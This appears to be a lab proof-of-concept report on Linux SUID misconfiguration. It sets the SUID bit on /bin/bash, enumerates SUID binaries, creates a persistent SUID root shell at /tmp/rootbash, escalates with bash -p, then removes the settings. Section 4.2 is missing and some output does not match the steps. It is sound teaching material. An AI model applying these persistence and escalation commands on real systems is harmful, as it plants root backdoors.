Proof Of Concept

Linux Security- Exploitation & Hardening

Task 4: SUID & Privilege Escalation

1. Executive Summary

This PoC demonstrates the risks associated with SUID (Set User ID) misconfigurations, which can allow low-privileged users to escalate their privileges to root. The task involves setting the SUID bit on /bin/bash, creating a script with root privileges, exploiting the misconfiguration, and then mitigating the issue by removing unnecessary SUID permissions and restricting script execution.

2. Objectives

- **Setup:** Set the SUID bit on /bin/bash and create a script running with root privileges.
- **Exploit:** Identify SUID misconfigurations using find and escalate privileges to root using /bin/bash -p.
- **Mitigation:** Remove unnecessary SUID permissions and restrict script execution to specific users.

3. Setup

3.1 Set SUID Bit on /bin/bash

The SUID bit was set on /bin/bash to allow any user executing it to run it with the permissions of the file owner (root).

Commands Used:

sudo chmod u+s /bin/bash

```
┌──(llamafart㉿jaivanti)-[~]
└─$ sudo chmod u+s /bin/bash
[sudo] password for llamafart:
```

3.2 Create Root Script

A script (root_script.sh) was created in the /root directory with root privileges and the SUID bit set.

Commands Used:

echo -e "#!/bin/bash\necho 'Root access granted!'" | sudo tee /root/root_script.sh

sudo chmod 4755 /root/root_script.sh

sudo chown root:root /root/root_script.sh

```
┌──(llamafart㉿jaivanti)-[~]
└─$ echo -e '#!/bin/bash\necho "Root access granted!"' | sudo tee /root/root_script.sh
#!/bin/bash
echo "Root access granted!"

┌──(llamafart㉿jaivanti)-[~]
└─$ sudo chmod 4755 /root/root_script.sh

┌──(llamafart㉿jaivanti)-[~]
└─$ sudo chown root:root /root/root_script.sh
```

4. Exploitation

4.1 Identify SUID Binaries

The find command was used to identify SUID binaries with root permissions.

Commands Used:

find / -perm -4000 2>/dev/null

```
┌──(llamafart㉿jaivanti)-[~]
└─$ find / -perm -4000 2>/dev/null
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/xorg/Xorg.wrap
/usr/lib/chromium/chrome-sandbox
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/mount.cifs
```

4.3 Create SUID Shell

A copy of /bin/bash was created in /tmp with the SUID bit set, allowing persistent root access.

Commands Used:

echo "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" | sudo tee /root/root_script.sh

sudo cp /bin/bash /tmp/rootbash

sudo chmod +s /tmp/rootbash

/tmp/rootbash -p

```
┌──(llamafart㉿jaivanti)-[~]
└─$ echo "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" | sudo tee /root/root_script.sh
cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
```

```
┌──(llamafart㉿jaivanti)-[~]
└─$ sudo cp /bin/bash /tmp/rootbash

┌──(llamafart㉿jaivanti)-[~]
└─$ sudo chmod +s /tmp/rootbash
```

```
┌──(llamafart㉿jaivanti)-[~]
└─$ /bin/bash -p
bash-5.2# exit
exit
```

5. Mitigation

5.1 Remove SUID Bit from /bin/bash

The SUID bit was removed from /bin/bash to prevent further exploitation.

Commands Used:

sudo chmod -s /bin/bash

```
┌──(llamafart㉿jaivanti)-[~]
└─$ sudo chmod -s /bin/bash
```

5.2 Restrict Script Execution

The permissions for the root script were restricted to prevent unauthorized execution.

Commands Used:

sudo chmod 750 /root/root_script.sh

```
┌──(llamafart㉿jaivanti)-[~]
└─$ sudo chmod 750 /root/root_script.sh
```

6. Conclusion

This PoC successfully demonstrated how a misconfigured SUID bit can lead to privilege escalation. By removing unnecessary SUID permissions and restricting script execution, the security risk was mitigated.